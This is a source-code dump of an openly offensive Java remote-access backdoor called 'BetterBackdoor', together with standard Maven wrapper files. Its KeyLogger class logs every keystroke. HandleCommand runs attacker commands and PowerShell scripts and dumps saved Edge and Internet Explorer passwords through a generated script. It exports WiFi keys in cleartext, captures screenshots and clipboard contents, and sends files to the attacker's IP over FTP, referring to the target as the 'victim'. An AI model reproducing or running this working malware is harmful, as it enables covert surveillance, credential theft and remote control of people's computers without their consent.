System.out.println(); 86 | 87 | if (type.equals("file")) 88 | return Paths.get(ret).toString(); 89 | else if (type.equals("yn")) 90 | if (ret.equals("y")) 91 | return "true"; 92 | else 93 | return "false"; 94 | else 95 | return ret; 96 | } 97 | 98 | /** 99 | * Displays "An error occurred" followed by {@link errorMessage} and exits. 100 | * 101 | * @param errorMessage error message to display 102 | */ 103 | public static void error(String errorMessage) { 104 | System.out.println("An error occurred:\n" + errorMessage + "\n"); 105 | System.exit(0); 106 | } 107 | } -------------------------------------------------------------------------------- /src/main/java/com/github/thatcherdev/betterbackdoor/backend/KeyLogger.java: -------------------------------------------------------------------------------- 1 | package com.github.thatcherdev.betterbackdoor.backend; 2 | 3 | import java.io.BufferedWriter; 4 | import java.io.FileWriter; 5 | import java.io.PrintWriter; 6 | import org.jnativehook.GlobalScreen; 7 | import org.jnativehook.keyboard.NativeKeyEvent; 8 | import org.jnativehook.keyboard.NativeKeyListener; 9 | 10 | public class KeyLogger implements NativeKeyListener { 11 | 12 | private static PrintWriter out; 13 | private boolean shift = false; 14 | 15 | /** 16 | * Starts a key logger and logs keys to 'gathered\keys.log'. 17 | */ 18 | public static void start() { 19 | try { 20 | out = new PrintWriter(new BufferedWriter(new FileWriter("gathered\\keys.log", true))); 21 | GlobalScreen.registerNativeHook(); 22 | GlobalScreen.addNativeKeyListener(new KeyLogger()); 23 | } catch (Exception e) { 24 | if (out != null) 25 | out.close(); 26 | } 27 | } 28 | 29 | /* 30 | * @see 31 | * org.jnativehook.keyboard.NativeKeyListener#nativeKeyPressed(org.jnativehook. 32 | * keyboard.NativeKeyEvent) 33 | */ 34 | @Override 35 | public void nativeKeyPressed(NativeKeyEvent key) { 36 | String pressed = NativeKeyEvent.getKeyText(key.getKeyCode()); 37 | 38 | if (pressed.equals("Shift")) 39 | shift = true; 40 | 41 | if (key.isActionKey()) 42 | out.print("[" + pressed + "]"); 43 | else if (pressed.equals("Backspace")) 44 | out.print("[Back]"); 45 | else if (pressed.equals("Space")) 46 | out.print(" "); 47 | else if (pressed.equals("Tab")) 48 | out.print("\t"); 49 | else if (pressed.equals("Enter")) 50 | out.println(); 51 | else if (shift) { 52 | if (pressed.matches("[A-Z]")) 53 | out.print(pressed); 54 | else if (pressed.equals("1")) 55 | out.print("!"); 56 | else if (pressed.equals("2")) 57 | out.print("@"); 58 | else if (pressed.equals("3")) 59 | out.print("#"); 60 | else if (pressed.equals("4")) 61 | out.print("$"); 62 | else if (pressed.equals("5")) 63 | out.print("%"); 64 | else if (pressed.equals("6")) 65 | out.print("^"); 66 | else if (pressed.equals("7")) 67 | out.print("&"); 68 | else if (pressed.equals("8")) 69 | out.print("*"); 70 | else if (pressed.equals("9")) 71 | out.print("("); 72 | else if (pressed.equals("0")) 73 | out.print(")"); 74 | else if (pressed.equals("Minus")) 75 | out.print("_"); 76 | else if (pressed.equals("Equals")) 77 | out.print("+"); 78 | else if (pressed.equals("Open Bracket")) 79 | out.print("{"); 80 | else if (pressed.equals("Close Bracket")) 81 | out.print("}"); 82 | else if (pressed.equals("Back Slash")) 83 | out.print("|"); 84 | else if (pressed.equals("Semicolon")) 85 | out.print(":"); 86 | else if (pressed.equals("Quote")) 87 | out.print("\""); 88 | else if (pressed.equals("Comma")) 89 | out.print("<"); 90 | else if (pressed.equals("Period")) 91 | out.print(">"); 92 | else if (pressed.equals("Dead Acute")) 93 | out.print("?"); 94 | else if (pressed.equals("Back Quote")) 95 | out.print("~"); 96 | } else { 97 | if (pressed.matches("[a-zA-Z0-9]")) 98 | out.print(pressed.toLowerCase()); 99 | else if (pressed.equals("Minus")) 100 | out.print("-"); 101 | else if (pressed.equals("Equals")) 102 | out.print("="); 103 | else if (pressed.equals("Open Bracket")) 104 | out.print("["); 105 | else if (pressed.equals("Close Bracket")) 106 | out.print("]"); 107 | else if (pressed.equals("Back Slash")) 108 | out.print("\\"); 109 | else if (pressed.equals("Semicolon")) 110 | out.print(";"); 111 | else if (pressed.equals("Quote")) 112 | out.print("'"); 113 | else if (pressed.equals("Comma")) 114 | out.print(","); 115 | else if (pressed.equals("Period")) 116 | out.print("."); 117 | else if (pressed.equals("Dead Acute")) 118 | out.print("/"); 119 | else if (pressed.equals("Back Quote")) 120 | out.print("`"); 121 | } 122 | out.flush(); 123 | } 124 | 125 | /* 126 | * @see 127 | * org.jnativehook.keyboard.NativeKeyListener#nativeKeyReleased(org.jnativehook. 128 | * keyboard.NativeKeyEvent) 129 | */ 130 | @Override 131 | public void nativeKeyReleased(NativeKeyEvent key) { 132 | if (NativeKeyEvent.getKeyText(key.getKeyCode()).equals("Shift")) 133 | shift = false; 134 | } 135 | 136 | /* 137 | * @see 138 | * org.jnativehook.keyboard.NativeKeyListener#nativeKeyTyped(org.jnativehook. 139 | * keyboard.NativeKeyEvent) 140 | */ 141 | @Override 142 | public void nativeKeyTyped(NativeKeyEvent key) { 143 | } 144 | } -------------------------------------------------------------------------------- /.mvn/wrapper/MavenWrapperDownloader.java: -------------------------------------------------------------------------------- 1 | /* 2 | Licensed to the Apache Software Foundation (ASF) under one 3 | or more contributor license agreements. See the NOTICE file 4 | distributed with this work for additional information 5 | regarding copyright ownership. The ASF licenses this file 6 | to you under the Apache License, Version 2.0 (the 7 | "License"); you may not use this file except in compliance 8 | with the License. You may obtain a copy of the License at 9 | 10 | https://www.apache.org/licenses/LICENSE-2.0 11 | 12 | Unless required by applicable law or agreed to in writing, 13 | software distributed under the License is distributed on an 14 | "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | KIND, either express or implied. See the License for the 16 | specific language governing permissions and limitations 17 | under the License. 18 | */ 19 | 20 | import java.io.File; 21 | import java.io.FileInputStream; 22 | import java.io.FileOutputStream; 23 | import java.io.IOException; 24 | import java.net.URL; 25 | import java.nio.channels.Channels; 26 | import java.nio.channels.ReadableByteChannel; 27 | import java.util.Properties; 28 | 29 | public class MavenWrapperDownloader { 30 | 31 | /** 32 | * Default URL to download the maven-wrapper.jar from, if no 'downloadUrl' is provided. 33 | */ 34 | private static final String DEFAULT_DOWNLOAD_URL = 35 | "https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.4.2/maven-wrapper-0.4.2.jar"; 36 | 37 | /** 38 | * Path to the maven-wrapper.properties file, which might contain a downloadUrl property to 39 | * use instead of the default one. 40 | */ 41 | private static final String MAVEN_WRAPPER_PROPERTIES_PATH = 42 | ".mvn/wrapper/maven-wrapper.properties"; 43 | 44 | /** 45 | * Path where the maven-wrapper.jar will be saved to. 46 | */ 47 | private static final String MAVEN_WRAPPER_JAR_PATH = 48 | ".mvn/wrapper/maven-wrapper.jar"; 49 | 50 | /** 51 | * Name of the property which should be used to override the default download url for the wrapper. 52 | */ 53 | private static final String PROPERTY_NAME_WRAPPER_URL = "wrapperUrl"; 54 | 55 | public static void main(String args[]) { 56 | System.out.println("- Downloader started"); 57 | File baseDirectory = new File(args[0]); 58 | System.out.println("- Using base directory: " + baseDirectory.getAbsolutePath()); 59 | 60 | // If the maven-wrapper.properties exists, read it and check if it contains a custom 61 | // wrapperUrl parameter. 62 | File mavenWrapperPropertyFile = new File(baseDirectory, MAVEN_WRAPPER_PROPERTIES_PATH); 63 | String url = DEFAULT_DOWNLOAD_URL; 64 | if(mavenWrapperPropertyFile.exists()) { 65 | FileInputStream mavenWrapperPropertyFileInputStream = null; 66 | try { 67 | mavenWrapperPropertyFileInputStream = new FileInputStream(mavenWrapperPropertyFile); 68 | Properties mavenWrapperProperties = new Properties(); 69 | mavenWrapperProperties.load(mavenWrapperPropertyFileInputStream); 70 | url = mavenWrapperProperties.getProperty(PROPERTY_NAME_WRAPPER_URL, url); 71 | } catch (IOException e) { 72 | System.out.println("- ERROR loading '" + MAVEN_WRAPPER_PROPERTIES_PATH + "'"); 73 | } finally { 74 | try { 75 | if(mavenWrapperPropertyFileInputStream != null) { 76 | mavenWrapperPropertyFileInputStream.close(); 77 | } 78 | } catch (IOException e) { 79 | // Ignore ... 80 | } 81 | } 82 | } 83 | System.out.println("- Downloading from: : " + url); 84 | 85 | File outputFile = new File(baseDirectory.getAbsolutePath(), MAVEN_WRAPPER_JAR_PATH); 86 | if(!outputFile.getParentFile().exists()) { 87 | if(!outputFile.getParentFile().mkdirs()) { 88 | System.out.println( 89 | "- ERROR creating output direcrory '" + outputFile.getParentFile().getAbsolutePath() + "'"); 90 | } 91 | } 92 | System.out.println("- Downloading to: " + outputFile.getAbsolutePath()); 93 | try { 94 | downloadFileFromURL(url, outputFile); 95 | System.out.println("Done"); 96 | System.exit(0); 97 | } catch (Throwable e) { 98 | System.out.println("- Error downloading"); 99 | e.printStackTrace(); 100 | System.exit(1); 101 | } 102 | } 103 | 104 | private static void downloadFileFromURL(String urlString, File destination) throws Exception { 105 | URL website = new URL(urlString); 106 | ReadableByteChannel rbc; 107 | rbc = Channels.newChannel(website.openStream()); 108 | FileOutputStream fos = new FileOutputStream(destination); 109 | fos.getChannel().transferFrom(rbc, 0, Long.MAX_VALUE); 110 | fos.close(); 111 | rbc.close(); 112 | } 113 | 114 | } 115 | -------------------------------------------------------------------------------- /src/main/java/com/github/thatcherdev/betterbackdoor/backend/DuckyScripts.java: -------------------------------------------------------------------------------- 1 | package com.github.thatcherdev.betterbackdoor.backend; 2 | 3 | import java.awt.Robot; 4 | import java.awt.event.KeyEvent; 5 | import java.io.File; 6 | import java.util.ArrayList; 7 | import java.util.Scanner; 8 | import java.util.stream.Collectors; 9 | 10 | public class DuckyScripts { 11 | 12 | private static Robot robot; 13 | private static int defaultDelay; 14 | final private static ArrayList regKeys = (ArrayList) "abcdefghijklmnopqrstuvwxyz`1234567890-=[]\\;',./ " 15 | .chars().mapToObj((i) -> Character.valueOf((char) i)).collect(Collectors.toList()); 16 | final private static ArrayList shiftKeys = (ArrayList) "ABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$%^&*()_+{}|:\"<>?" 17 | .chars().mapToObj((i) -> Character.valueOf((char) i)).collect(Collectors.toList()); 18 | 19 | /** 20 | * Runs a DuckyScript. 21 | *

22 | * Cycles though lines from the file with the name {@link filename}. If 23 | * applicable, spaces at end of each line are removed and the line is passed to 24 | * {@link #handleLine(String line)} to handle and execute it. 25 | * 26 | * @param filename name of DuckyScript to execute 27 | * @return if DuckyScript was executed successfully 28 | */ 29 | public static boolean run(String filename) { 30 | Scanner in = null; 31 | try { 32 | robot = new Robot(); 33 | in = new Scanner(new File(filename)); 34 | while (in.hasNextLine()) { 35 | String line = in.nextLine(); 36 | while (line.endsWith(" ")) 37 | line = line.substring(0, line.length() - 1); 38 | if (!line.isEmpty()) 39 | handleLine(line); 40 | } 41 | return true; 42 | } catch (Exception e) { 43 | return false; 44 | } finally { 45 | if (in != null) 46 | in.close(); 47 | } 48 | } 49 | 50 | /** 51 | * Handles and executes DuckyScript line {@link line}. 52 | *

53 | * {@link line} is split into {@link command} and {@link args} which are then 54 | * mutated to work with {@link java.awt.Robot} {@link #robot}. 55 | * 56 | * @param line line to handle and execute 57 | * @throws InterruptedException 58 | * @throws IllegalArgumentException 59 | * @throws IllegalAccessException 60 | * @throws NoSuchFieldException 61 | * @throws SecurityException 62 | */ 63 | private static void handleLine(String line) throws InterruptedException, IllegalArgumentException, 64 | IllegalAccessException, NoSuchFieldException, SecurityException { 65 | String command = line; 66 | String args = ""; 67 | if (line.contains(" ")) { 68 | command = line.substring(0, line.indexOf(" ")); 69 | args = line.substring(line.indexOf(" ") + 1); 70 | } 71 | 72 | if (command.equals("GUI")) 73 | command = "WINDOWS"; 74 | else if (args.equals("GUI")) 75 | args = "WINDOWS"; 76 | else if (command.equals("PAGEUP") || command.equals("PAGEDOWN")) 77 | command = command.replace("PAGE", "PAGE_"); 78 | else if (args.equals("PAGEUP") || args.equals("PAGEDOWN")) 79 | args = args.replace("PAGE", "PAGE_"); 80 | else if (command.equals("UPARROW") || command.equals("DOWNARROW") || command.equals("LEFTARROW") 81 | || command.equals("RIGHTARROW")) 82 | command = command.replace("ARROW", ""); 83 | else if (args.equals("UPARROW") || args.equals("DOWNARROW") || args.equals("LEFTARROW") 84 | || args.equals("RIGHTARROW")) 85 | args = args.replace("ARROW", ""); 86 | else if (command.equals("MENU") || command.equals("APP")) { 87 | command = "SHIFT"; 88 | args = "F10"; 89 | } else if (command.equals("CTRL")) 90 | command = "CONTROL"; 91 | else if (command.equals("CAPSLOCK")) 92 | command = "CAPS_LOCK"; 93 | else if (command.equals("NUMLOCK")) 94 | command = "NUM_LOCK"; 95 | else if (command.equals("SCROLLLOCK")) 96 | command = "SCROLL_LOCK"; 97 | else if (args.equals("ESC")) 98 | args = "ESCAPE"; 99 | else if (args.equals("BREAK")) 100 | args = "PAUSE"; 101 | 102 | if (command.equals("DEFAULT_DELAY") || command.equals("DEFAULTDELAY")) 103 | defaultDelay = Integer.parseInt(args); 104 | else if (command.equals("DELAY")) 105 | Thread.sleep(Integer.parseInt(args)); 106 | else if (command.equals("STRING")) { 107 | type(args); 108 | } else if (command.equals("WINDOWS") || command.equals("SHIFT") || command.equals("CONTROL") 109 | || command.equals("ALT")) { 110 | robot.keyPress(KeyEvent.class.getField("VK_" + command).getInt(null)); 111 | if (!args.isEmpty()) { 112 | robot.keyPress(KeyEvent.class.getField("VK_" + args.toUpperCase()).getInt(null)); 113 | robot.keyRelease(KeyEvent.class.getField("VK_" + args.toUpperCase()).getInt(null)); 114 | } 115 | robot.keyRelease(KeyEvent.class.getField("VK_" + command).getInt(null)); 116 | } else if (!line.startsWith("REM")) { 117 | robot.keyPress(KeyEvent.class.getField("VK_" + command).getInt(null)); 118 | robot.keyRelease(KeyEvent.class.getField("VK_" + command).getInt(null)); 119 | } 120 | Thread.sleep(defaultDelay); 121 | } 122 | 123 | /** 124 | * Uses {@link java.awt.Robot} {@link #robot} to simulate typing {@link toType}. 125 | * 126 | * @param toType String to type 127 | */ 128 | private static void type(String toType) { 129 | for (char c : toType.toCharArray()) 130 | if (regKeys.indexOf(c) != -1) { 131 | robot.keyPress(KeyEvent.getExtendedKeyCodeForChar(c)); 132 | robot.keyRelease(KeyEvent.getExtendedKeyCodeForChar(c)); 133 | } else { 134 | robot.keyPress(KeyEvent.VK_SHIFT); 135 | robot.keyPress(KeyEvent.getExtendedKeyCodeForChar(regKeys.get(shiftKeys.indexOf(c)))); 136 | robot.keyRelease(KeyEvent.getExtendedKeyCodeForChar(regKeys.get(shiftKeys.indexOf(c)))); 137 | robot.keyRelease(KeyEvent.VK_SHIFT); 138 | } 139 | } 140 | } -------------------------------------------------------------------------------- /mvnw.cmd: -------------------------------------------------------------------------------- 1 | @REM ---------------------------------------------------------------------------- 2 | @REM Licensed to the Apache Software Foundation (ASF) under one 3 | @REM or more contributor license agreements. See the NOTICE file 4 | @REM distributed with this work for additional information 5 | @REM regarding copyright ownership. The ASF licenses this file 6 | @REM to you under the Apache License, Version 2.0 (the 7 | @REM "License"); you may not use this file except in compliance 8 | @REM with the License. You may obtain a copy of the License at 9 | @REM 10 | @REM https://www.apache.org/licenses/LICENSE-2.0 11 | @REM 12 | @REM Unless required by applicable law or agreed to in writing, 13 | @REM software distributed under the License is distributed on an 14 | @REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | @REM KIND, either express or implied. See the License for the 16 | @REM specific language governing permissions and limitations 17 | @REM under the License. 18 | @REM ---------------------------------------------------------------------------- 19 | 20 | @REM ---------------------------------------------------------------------------- 21 | @REM Maven2 Start Up Batch script 22 | @REM 23 | @REM Required ENV vars: 24 | @REM JAVA_HOME - location of a JDK home dir 25 | @REM 26 | @REM Optional ENV vars 27 | @REM M2_HOME - location of maven2's installed home dir 28 | @REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands 29 | @REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a key stroke before ending 30 | @REM MAVEN_OPTS - parameters passed to the Java VM when running Maven 31 | @REM e.g. to debug Maven itself, use 32 | @REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 33 | @REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files 34 | @REM ---------------------------------------------------------------------------- 35 | 36 | @REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on' 37 | @echo off 38 | @REM set title of command window 39 | title %0 40 | @REM enable echoing my setting MAVEN_BATCH_ECHO to 'on' 41 | @if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO% 42 | 43 | @REM set %HOME% to equivalent of $HOME 44 | if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%") 45 | 46 | @REM Execute a user defined script before this one 47 | if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre 48 | @REM check for pre script, once with legacy .bat ending and once with .cmd ending 49 | if exist "%HOME%\mavenrc_pre.bat" call "%HOME%\mavenrc_pre.bat" 50 | if exist "%HOME%\mavenrc_pre.cmd" call "%HOME%\mavenrc_pre.cmd" 51 | :skipRcPre 52 | 53 | @setlocal 54 | 55 | set ERROR_CODE=0 56 | 57 | @REM To isolate internal variables from possible post scripts, we use another setlocal 58 | @setlocal 59 | 60 | @REM ==== START VALIDATION ==== 61 | if not "%JAVA_HOME%" == "" goto OkJHome 62 | 63 | echo. 64 | echo Error: JAVA_HOME not found in your environment. >&2 65 | echo Please set the JAVA_HOME variable in your environment to match the >&2 66 | echo location of your Java installation. >&2 67 | echo. 68 | goto error 69 | 70 | :OkJHome 71 | if exist "%JAVA_HOME%\bin\java.exe" goto init 72 | 73 | echo. 74 | echo Error: JAVA_HOME is set to an invalid directory. >&2 75 | echo JAVA_HOME = "%JAVA_HOME%" >&2 76 | echo Please set the JAVA_HOME variable in your environment to match the >&2 77 | echo location of your Java installation. >&2 78 | echo. 79 | goto error 80 | 81 | @REM ==== END VALIDATION ==== 82 | 83 | :init 84 | 85 | @REM Find the project base dir, i.e. the directory that contains the folder ".mvn". 86 | @REM Fallback to current working directory if not found. 87 | 88 | set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR% 89 | IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir 90 | 91 | set EXEC_DIR=%CD% 92 | set WDIR=%EXEC_DIR% 93 | :findBaseDir 94 | IF EXIST "%WDIR%"\.mvn goto baseDirFound 95 | cd .. 96 | IF "%WDIR%"=="%CD%" goto baseDirNotFound 97 | set WDIR=%CD% 98 | goto findBaseDir 99 | 100 | :baseDirFound 101 | set MAVEN_PROJECTBASEDIR=%WDIR% 102 | cd "%EXEC_DIR%" 103 | goto endDetectBaseDir 104 | 105 | :baseDirNotFound 106 | set MAVEN_PROJECTBASEDIR=%EXEC_DIR% 107 | cd "%EXEC_DIR%" 108 | 109 | :endDetectBaseDir 110 | 111 | IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig 112 | 113 | @setlocal EnableExtensions EnableDelayedExpansion 114 | for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a 115 | @endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS% 116 | 117 | :endReadAdditionalConfig 118 | 119 | SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe" 120 | set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar" 121 | set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain 122 | 123 | set DOWNLOAD_URL="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.4.2/maven-wrapper-0.4.2.jar" 124 | FOR /F "tokens=1,2 delims==" %%A IN (%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.properties) DO ( 125 | IF "%%A"=="wrapperUrl" SET DOWNLOAD_URL=%%B 126 | ) 127 | 128 | @REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central 129 | @REM This allows using the maven wrapper in projects that prohibit checking in binary data. 130 | if exist %WRAPPER_JAR% ( 131 | echo Found %WRAPPER_JAR% 132 | ) else ( 133 | echo Couldn't find %WRAPPER_JAR%, downloading it ... 134 | echo Downloading from: %DOWNLOAD_URL% 135 | powershell -Command "(New-Object Net.WebClient).DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')" 136 | echo Finished downloading %WRAPPER_JAR% 137 | ) 138 | @REM End of extension 139 | 140 | %MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %* 141 | if ERRORLEVEL 1 goto error 142 | goto end 143 | 144 | :error 145 | set ERROR_CODE=1 146 | 147 | :end 148 | @endlocal & set ERROR_CODE=%ERROR_CODE% 149 | 150 | if not "%MAVEN_SKIP_RC%" == "" goto skipRcPost 151 | @REM check for post script, once with legacy .bat ending and once with .cmd ending 152 | if exist "%HOME%\mavenrc_post.bat" call "%HOME%\mavenrc_post.bat" 153 | if exist "%HOME%\mavenrc_post.cmd" call "%HOME%\mavenrc_post.cmd" 154 | :skipRcPost 155 | 156 | @REM pause the script if MAVEN_BATCH_PAUSE is set to 'on' 157 | if "%MAVEN_BATCH_PAUSE%" == "on" pause 158 | 159 | if "%MAVEN_TERMINATE_CMD%" == "on" exit %ERROR_CODE% 160 | 161 | exit /B %ERROR_CODE% 162 | -------------------------------------------------------------------------------- /src/main/java/com/github/thatcherdev/betterbackdoor/backdoor/HandleCommand.java: -------------------------------------------------------------------------------- 1 | package com.github.thatcherdev.betterbackdoor.backdoor; 2 | 3 | import java.util.Scanner; 4 | import java.awt.datatransfer.DataFlavor; 5 | import java.awt.Rectangle; 6 | import java.awt.Robot; 7 | import java.awt.Toolkit; 8 | import java.io.File; 9 | import java.io.PrintWriter; 10 | import java.util.ArrayList; 11 | import java.util.Arrays; 12 | import javax.imageio.ImageIO; 13 | import com.github.thatcherdev.betterbackdoor.backend.DuckyScripts; 14 | import com.github.thatcherdev.betterbackdoor.backend.FTP; 15 | import com.github.thatcherdev.betterbackdoor.backend.KeyLogger; 16 | import com.github.thatcherdev.betterbackdoor.backend.Utils; 17 | import org.apache.commons.io.FileUtils; 18 | 19 | public class HandleCommand { 20 | 21 | /** 22 | * Handles command. 23 | *

24 | * Handles command {@link command} and sets {@link send} to an appropriate 25 | * response. Uses {@link Backdoor#out} to send the response followed by a token 26 | * to signal the end of the response. 27 | * 28 | * @param command command given to the backdoor 29 | */ 30 | public static void handle(String command) { 31 | String send = ""; 32 | if (command.equals("help")) 33 | send = "[cmd] Run Command Prompt commands\n[ps] Run a PowerShell script\n[ds] Run a DuckyScript\n" 34 | + "[exfiles] Exfiltarte files based on extension\n[expass] Exfiltrate Microsoft Edge and WiFi passwords\n" 35 | + "[filesend] Send a file to victim's computer\n[filerec] Receive a file from victim's computer\n" 36 | + "[keylog] Start a KeyLogger on victim's computer\n[ss] Get a screenshot of vitim's computer\n" 37 | + "[cb] Get text currently copied to victim's clipboard\n[cat] Get contents of a file on victim's computer\n" 38 | + "[remove] Remove backdoor and all backdoor files from victim's computer\n[exit] Exit"; 39 | else if (command.startsWith("cmd")) 40 | send = Utils.runCommand(command.substring(4)); 41 | else if (command.startsWith("ps") || command.startsWith("ds")) 42 | try { 43 | File file = new File(command.substring(3)); 44 | if (command.startsWith("ps") && file.exists()) 45 | send = Utils.runPSScript(command.substring(3)); 46 | else if (command.startsWith("ds") && file.exists() && DuckyScripts.run(command.substring(3))) 47 | send = "DuckyScript successfully executed"; 48 | else 49 | throw new Exception(); 50 | FileUtils.forceDelete(file); 51 | } catch (Exception e) { 52 | send = "An error occurred when trying to execute script"; 53 | if (e.getMessage() != null) 54 | send += ":\n" + e.getMessage(); 55 | } 56 | else if (command.startsWith("exfiles")) 57 | try { 58 | Utils.exfilFiles(command.substring(command.indexOf(" "), command.indexOf("*")), 59 | new ArrayList(Arrays.asList(command.substring(command.indexOf("*") + 1).split(",")))); 60 | send = "Files exfiltrated to '" + System.getProperty("user.dir") 61 | + "\\gathered\\ExfiltratedFiles' on victim's computer"; 62 | } catch (Exception e) { 63 | send = "An error occurred when trying to exfiltrate files"; 64 | if (e.getMessage() != null) 65 | send += ":\n" + e.getMessage(); 66 | } 67 | else if (command.equals("expass")) 68 | try { 69 | File exfilBrowserCreds = new File("ExfilBrowserCreds.ps1"); 70 | PrintWriter out = new PrintWriter(exfilBrowserCreds); 71 | out.println("$filename=$PSScriptRoot+\"\\gathered\\BrowserPasswords.txt\"\n" 72 | + "[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]\n" 73 | + "$creds = (New-Object Windows.Security.Credentials.PasswordVault).RetrieveAll()\n" 74 | + "foreach ($c in $creds) {$c.RetrievePassword()}\n" 75 | + "$creds | Format-List -Property Resource,UserName,Password | Out-File $filename\n" 76 | + "echo \"Microsoft Edge and Internet Explorer passwords exfiltrated to '$filename' on vitim's computer\"\n" 77 | + "exit"); 78 | out.flush(); 79 | out.close(); 80 | send += Utils.runPSScript(exfilBrowserCreds.getAbsolutePath()) + "\n"; 81 | send += Utils.runCommand( 82 | "netsh wlan export profile key=clear folder=" + System.getProperty("user.dir") + "\\gathered"); 83 | FileUtils.forceDelete(exfilBrowserCreds); 84 | } catch (Exception e) { 85 | send = "An error occurred when trying to exfiltrate passwords"; 86 | if (e.getMessage() != null) 87 | send += ":\n" + e.getMessage(); 88 | } 89 | else if (command.startsWith("filesend") || command.startsWith("filerec")) 90 | try { 91 | Thread.sleep(2000); 92 | if (command.startsWith("filesend")) { 93 | FTP.backdoor(command.substring(9), "rec", Backdoor.ip); 94 | send = "File sent"; 95 | } else if (command.startsWith("filerec")) { 96 | FTP.backdoor(command.substring(8), "send", Backdoor.ip); 97 | send = "File received"; 98 | } 99 | } catch (Exception e) { 100 | send = "An error occurred when trying to transfer file"; 101 | if (e.getMessage() != null) 102 | send += ":\n" + e.getMessage(); 103 | } 104 | else if (command.equals("keylog")) { 105 | Thread keyLogger = new Thread() { 106 | public void run() { 107 | KeyLogger.start(); 108 | } 109 | }; 110 | keyLogger.start(); 111 | send = "Keys are being logged to '" + System.getProperty("user.dir") 112 | + "\\gathered\\keys.log' on victim's computer"; 113 | } else if (command.equals("ss")) 114 | try { 115 | Thread.sleep(2000); 116 | File screenshot = new File("screenshot.png"); 117 | ImageIO.write( 118 | new Robot().createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize())), 119 | "png", screenshot); 120 | FTP.backdoor("screenshot.png", "send", Backdoor.ip); 121 | FileUtils.forceDelete(screenshot); 122 | send = "Screenshot received"; 123 | } catch (Exception e) { 124 | send = "An error occurred when trying to received screenshot"; 125 | if (e.getMessage() != null) 126 | send += ":\n" + e.getMessage(); 127 | } 128 | else if (command.equals("cb")) 129 | try { 130 | String clipBoard = (String) Toolkit.getDefaultToolkit().getSystemClipboard() 131 | .getData(DataFlavor.stringFlavor); 132 | if (clipBoard.isEmpty()) 133 | send = "Nothing copied to victim's clipboard"; 134 | else 135 | send = "Victim's clipboard:\n" + clipBoard; 136 | } catch (Exception e) { 137 | send = "An error occurred when trying to get victim's clipboard"; 138 | if (e.getMessage() != null) 139 | send += ":\n" + e.getMessage(); 140 | } 141 | else if (command.startsWith("cat")) 142 | try { 143 | Scanner in = new Scanner(new File(command.substring(4))); 144 | while (in.hasNextLine()) 145 | send += in.nextLine() + "\n"; 146 | in.close(); 147 | } catch (Exception e) { 148 | send = "An error occurred when trying to get file"; 149 | if (e.getMessage() != null) 150 | send += ":\n" + e.getMessage(); 151 | } 152 | else if (command.equals("remove")) 153 | try { 154 | Runtime.getRuntime() 155 | .exec("cmd /c ping localhost -n 5 > nul && del /f /q run.jar run.bat && rd /s /q gathered jre"); 156 | System.exit(0); 157 | } catch (Exception e) { 158 | send = "An error occurred when trying to remove files"; 159 | if (e.getMessage() != null) 160 | send += ":\n" + e.getMessage(); 161 | } 162 | else if (!command.isEmpty()) 163 | send = "Command not found"; 164 | Backdoor.out.println(send + "\n!$end$!"); 165 | } 166 | } -------------------------------------------------------------------------------- /mvnw: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # ---------------------------------------------------------------------------- 3 | # Licensed to the Apache Software Foundation (ASF) under one 4 | # or more contributor license agreements. See the NOTICE file 5 | # distributed with this work for additional information 6 | # regarding copyright ownership. The ASF licenses this file 7 | # to you under the Apache License, Version 2.0 (the 8 | # "License"); you may not use this file except in compliance 9 | # with the License. You may obtain a copy of the License at 10 | # 11 | # https://www.apache.org/licenses/LICENSE-2.0 12 | # 13 | # Unless required by applicable law or agreed to in writing, 14 | # software distributed under the License is distributed on an 15 | # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 16 | # KIND, either express or implied. See the License for the 17 | # specific language governing permissions and limitations 18 | # under the License. 19 | # ---------------------------------------------------------------------------- 20 | 21 | # ---------------------------------------------------------------------------- 22 | # Maven2 Start Up Batch script 23 | # 24 | # Required ENV vars: 25 | # ------------------ 26 | # JAVA_HOME - location of a JDK home dir 27 | # 28 | # Optional ENV vars 29 | # ----------------- 30 | # M2_HOME - location of maven2's installed home dir 31 | # MAVEN_OPTS - parameters passed to the Java VM when running Maven 32 | # e.g. to debug Maven itself, use 33 | # set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 34 | # MAVEN_SKIP_RC - flag to disable loading of mavenrc files 35 | # 